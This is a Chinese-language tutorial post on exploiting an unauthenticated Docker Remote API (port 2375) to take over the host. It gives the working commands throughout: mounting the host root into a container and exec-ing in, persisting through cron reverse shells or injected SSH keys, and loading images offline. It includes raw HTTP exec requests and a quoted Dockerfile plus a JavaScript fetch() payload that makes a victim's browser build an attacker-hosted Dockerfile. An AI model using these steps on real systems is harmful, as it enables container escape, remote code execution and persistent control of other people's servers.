Docker Remote API未授权利用以及相关注意点
前言:Docker API未授权利用以及几个问题的解决,其中包括在已有的容器列表中无法得到一个有效的交互式shell以及在不出网的环境下的利用,这边简单记录下
参考文章:https://m0z.ie/research/2025-01-27-Developing-a-Docker-1-Click-RCE-chain-for-fun/
关于Docker API
Docker Remote API 是一个取代远程命令行界面的REST API,其默认绑定2375端口,如管理员对其配置不当可导致未授权访问漏洞。攻击者利用docker client或者http直接请求就可以访问这个API,可导致敏感信息泄露,甚至可进一步利用Docker自身特性,借助容器挂在宿主机进行逃逸,最终完全控制宿主服务器
Docker daemon 是 Docker 引擎的后台进程,也称为 Dockerd。它是一个长时间运行的进程,负责管理 Docker 镜像、容器、网络和存储等各种资源,并提供一个 API 以供 Docker 客户端进行交互
环境搭建
这边环境中已经安装好了docker环境,这边的话主要就是去开启2375的端口监听。
这边的话需要修改Docker的配置文件,以使其监听2375端口。配置文件的位置和名称可能会因操作系统和安装方式的不同而有所不同。
这边的话直接找到/lib/systemd/system/docker.service
文件进行修改配置,添加一段配置内容 -H tcp://0.0.0.0:2375
,如下所示
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock
完成配置文件的修改后,需要手动刷新配置文件
systemctl daemon-reload
然后重新启动Docker守护进程
systemctl restart docker
通过命令netstat -anltp | grep 2375
确认Docker API通信端口开启
通过其他主机的docker来连接测试docker -H tcp://43.xxx.xxx.163:2375 ps
,如下图所示可以看到通信正常
未授权利用
内网中发现一台服务器存在Docker API 2375端口未授权访问,这边可以先列出已有的镜像,如下图所示
这边通过挑选类似ubuntu这种镜像都会提供bash终端,所以这边的话就用该镜像来挂载宿主机磁盘,这边的话将宿主机的根目录挂载到容器中的/mnt目录,执行命令docker -H tcp://43.xxx.xxx.163:2375 run -itd -v /:/mnt ubuntu /bin/bash
,如下图所示
执行命令docker -H tcp://43.xxx.xxx.163:2375 ps
,查看容器执行情况,可以看到此时该ubuntu容器已经在后台执行中了
执行命令docker -H tcp://43.xxx.xxx.163:2375 exec -it 9ffc78c3a40b bash
进入到该容器中,如下图所示
此时就直接可以在宿主机的目录上进行操作了,如下图所示,至此Docker API未授权利用完成,并且完成逃逸宿主机的效果。
后续的操作就可以直接写入计划任务执行,但是原生bash反弹shell的流量比较大,如果要反弹的话也尽量加一层ssl加密在进行通信
通信不出网的情况下该如何进行逃逸利用
这边不出网的话,最方便的一个方法就是写入sshkey,由于挂载的是/mnt目录,所以写入宿主机的目录就是/mnt/root/.ssh/
如果目标中不存在镜像(出网情况)
如果不存在镜像的话,但是当前机器可以出网,那么可以先手动在docker hub中拉取一个镜像然后再进行操作,这边比如可以拉取一个nginx镜像来进行测试,这边随便拉取一个版本的nginx镜像到本地
这边执行docker -H tcp://43.xxx.xxx.163:2375 pull nginx:1.21.5
,如下图所示
接着再操作上述的步骤,起一个容器挂载目录就可以了
如果目标中不存在镜像(不出网情况)
不出网的情况下的话,这边自己想出的办法就是本地先打包本地镜像docker save -o my_new_image.tar 容器名称
本地运行一个ubuntu的镜像,然后通过docker ps
查看确保运行
接着将本地这个ubuntu的镜像打包为my_new_image.tar,执行命令docker save -o my_new_image.tar ubuntu
然后再将my_new_image.tar挂载到目标机器上面,这边执行进行docker -H tcp://43.xxx.xxx.163:2375 load -i my_new_image.tar
操作将其tar文件加载为一个 Docker 镜像,后面的操作跟上述的操作流程一样
在已有的容器列表中无法得到一个有效的交互式bash shell
遇到一种情况就是,在有些docker的镜像启动之后,如果通过docker exec -it xxxx bash进入之后会发现并不会拿到一个有效的bash,而是一直看到当前容器窗口的控制台一直在输出,而如果你ctrl+c之后当前容器也会随之就会结束。
这边看到当前容器窗口的控制台一直在输出的情况实际上是当前docker容器中的主进程就是当前运行的程序,而此时ctrl+c则会杀死主进程,随之docker进程检测到主进程被杀了之后也会随之结束docker容器的运行。
这边可以尝试如果/bin/bash获取不到的话,可以尝试去获取/bin/sh
http利用方式(更新2024-06-27)
GET /containers/json HTTP/1.1 User-Agent: Java/17.0.5 Host: ip:2375 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close POST /containers/195dd8c882f192b53ce38e88164a0936cc30d291f5286983671250659e08a4b2/exec HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:65.0) Gecko/20100101 Firefox/65.0 Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: ip:2375 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close Content-Length: 141 { "AttachStdin":true, "AttachStdout":true, "AttachStderr":true, "Cmd":[ "id" ], "DetachKeys":"ctrl-p,ctrl-q", "Privileged":true, "Tty":true } POST /exec/92839a23e062ba4f2f4b4ad7ad4625761bda6e832a7c4712234fc10e505ba355(响应id)/start HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:65.0) Gecko/20100101 Firefox/65.0 Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: ip:2375 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close Content-Length: 31 { "Detach":false, "Tty":false }
自动化方式2
Below is my Dockerfile exploit.
FROM alpine:latest RUN apk add --no-cache curl jq RUN curl -X POST -H "Content-Type: application/json" -d '{"image": "alpine","Tty":true,"OpenStdin":true,"Privileged":true,"AutoRemove":true,"HostConfig":{"NetworkMode":"host","Binds":["/:/mnt"]}}' http://host.docker.internal:2375/containers/create?name=shell RUN curl -X POST http://host.docker.internal:2375/containers/shell/start RUN exec_id=$(curl -s -X POST -H "Content-Type: application/json" -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":["mkdir", "/mnt/tmp/pwned"]}' http://host.docker.internal:2375/containers/shell/exec | jq -r .Id) && curl -X POST "http://host.docker.internal:2375/exec/$exec_id/start" -H "Content-Type: application/json" -d '{"Detach": false, "Tty": false}'
Then all we need is a website to complete the POST to http://localhost:2375/build?remote=http://<snip>/Dockerfile&networkmode=host
for it to execute.
You can use the form above or simply run the follow javascript.
fetch("http://127.0.0.1:2375/build?remote=https://<snip>/Dockerfile&networkmode=host", {method: "POST", mode: "no-cors"})
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步